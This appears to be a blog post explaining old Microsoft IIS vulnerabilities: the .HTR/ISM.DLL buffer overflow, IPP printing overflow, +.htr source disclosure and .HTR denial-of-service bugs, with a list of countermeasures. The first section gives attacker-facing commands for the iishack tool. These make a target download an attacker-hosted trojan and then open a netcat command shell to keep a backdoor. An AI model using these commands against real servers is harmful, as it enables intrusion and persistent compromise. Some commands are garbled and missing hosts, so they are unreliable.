iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.
c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe
www.yourtarget.com
is the IIS server you're hacking, 80 is the port its listening on,
www.yourserver.com is some webserver with your trojan or custom script
(your own, or another), and /thetrojan.exe is the path to that
script.
"IIS
Hack" is a buffer overflow vulnerability exposed by the way IIS
handles requests with .HTR extensions. A hacker sends a long URL that
ends with ".HTR". IIS interprets it as a file type of HTR and invokes
the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a
buffer overflow, a carefully crafted string can be executed in the
security context of IIS, which is privileged. For example, it is
relatively simple to include in the exploit code a sequence of commands
that will open a TCP/IP connection, download an executable and then
execute it. This way, any malicious code can be executed.
A sample exploit can be constructed as shown below:
To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe.
To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site.
c:\>iishack.exe 80 /ncx.exe
The attacker can then use netcat to evoke the command shell
c:\>nc 80
He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site. DOWNLOAD
-
Install latest service pack from Microsoft. -
Remove IPP printing from IIS Server -
Install firewall and remove unused extensions -
Implement aggressive network egress filtering -
Use IISLockdown and URLScan utilities -
Regularly scan your network for vulnerable servers
Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.
As
with many IIS vulnerabilities, the IPP exploit takes advantage of a
bug in an ISAPI DLL that ships with IIS 5 and is configured by default
to handle requests for certain file types. This particular ISAPI
filter resides in C: \WINNT\System32\msw3prt.dll and provides Windows
2000 with support for the IPP. If this functionality is not required
on the Web server, the application mapping for this DLL to .printer
files can be removed (and optionally deleting the DLL itself) in order
to prevent the buffer overflow from being exploited. This is possible
because the DLL will not be loaded into the IIS process when it
starts up. In fact, most security issues are centered on the ISAPI DLL
mappings, making this one of the most important countermeasure to be
adopted when securing IIS.
Another
standard countermeasure that can be adopted here is to use a firewall
and remove any extensions that are not required. Implementing
aggressive network egress can help to a certain degree.
With
IIS, using IISLockdown and URLScan - (free utilities from Microsoft)
can ensure more protection and minimize damage in case the web server
is affected.
Microsoft has also released a
patch for the buffer overflow, but removing the ISAPI DLL is a more
proactive solution in case there are additional vulnerabilities that
are yet to be found with the code. DOWNLOAD
-
Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible. -
This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file. -
appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.
IIS supports several file types that
require server-side processing. When a web site visitor requests a
file of one of these types, an appropriate filter DLL processes it.
Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR
files. HTR files enable remote administration of user passwords.
HTR
files are scripts that allow Windows NT password services to be
provided via IIS web servers. Windows NT users can use .HTR scripts to
change their own passwords, and administrators can use them to perform
a wide array of password administration functions. HTR is a
first-generation advanced scripting technology that is included in IIS
3.0, and still supported by later versions of IIS for backwards
compatibility. However, HTR was never widely adopted, and was
superceded by Active Server Pages (ASP) technology introduced in IIS
4.0.
Attack Methods |
Exploit / Attack Methodology
By
making a specially formed request to IIS, with the name of the file
and then appending around 230 + " %20 " (these represents spaces) and
then appending " .htr " this tricks IIS into thinking that the client
is requesting a " .htr " file . The .htr file extension is mapped to
the ISM.DLL ISAPI Application and IIS redirects all requests for .htr
resources to this DLL.
|
ISM.DLL is then passed the name of
the file to open and execute but before doing this ISM.DLL truncates
the buffer sent to it chopping off the .htr and a few spaces and ends
up opening the file whose source is sought. The contents are then
returned. This attack can only be launched once though, unless the web
service started and stopped. It will only work when ISM.DLL first
loaded into memory.
"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability.
All .HTR files accept certain parameters that are expected to be
delimited in a particular way. This vulnerability exists because the
search routine for the delimiter isn't properly bounded. Thus, if a
malicious user provided a request without the expected delimiter, the
ISAPI filter that processes it would search forever for the delimiter
and never find it.
If a malicious user
submitted a password change request that lacked an expected delimiter,
ISM.DLL, the ISAPI extension that processes .HTR files, would search
endlessly for it. This would prevent the server from servicing any
more password change requests. In addition, the search would consume
CPU time, so the overall response of the server might be slowed.
The
second threat would be more difficult to exploit. A
carefully-constructed file request could cause arbitrary code to
execute on the server via a classic buffer overrun technique. Neither
scenario could occur accidentally. This vulnerability does not involve
the functionality of the password administration features of .HTR
files.
".HTR File Fragment Reading" vulnerability:
The ".HTR File Fragment Reading" vulnerability could allow fragments
of certain types of files to be read by providing a malformed request
that would cause the. HTR processing to be applied to them. This
vulnerability could allow a malicious user to read certain types of
files under some very restrictive circumstances by levying a bogus
.HTR request. The ISAPI filter will attempt to interpret the requested
file as an .HTR file, and this would have the effect of removing
virtually everything but text from a selected file. That is, it would
have the effect of stripping out the very information that is most
likely to contain sensitive information in .asp and other server-side
files.
The .htr vulnerability will allow
data to be added, deleted or changed on the server, or allow any
administrative control on the server to be usurped. Although .HTR files
are used to allow web-based password administration, this
vulnerability does not involve any weakness in password handling.
"Absent Directory Browser Argument" vulnerability:
Among the default HTR scripts provided in IIS 3.0 (and preserved on
upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site
administrators to view directories on the server. One of these scripts,
if called without an expected argument, will enter an infinite loop
that can consume all of the system's CPU availability, thereby
preventing the server from responding to requests for service.
0 comments:
Post a Comment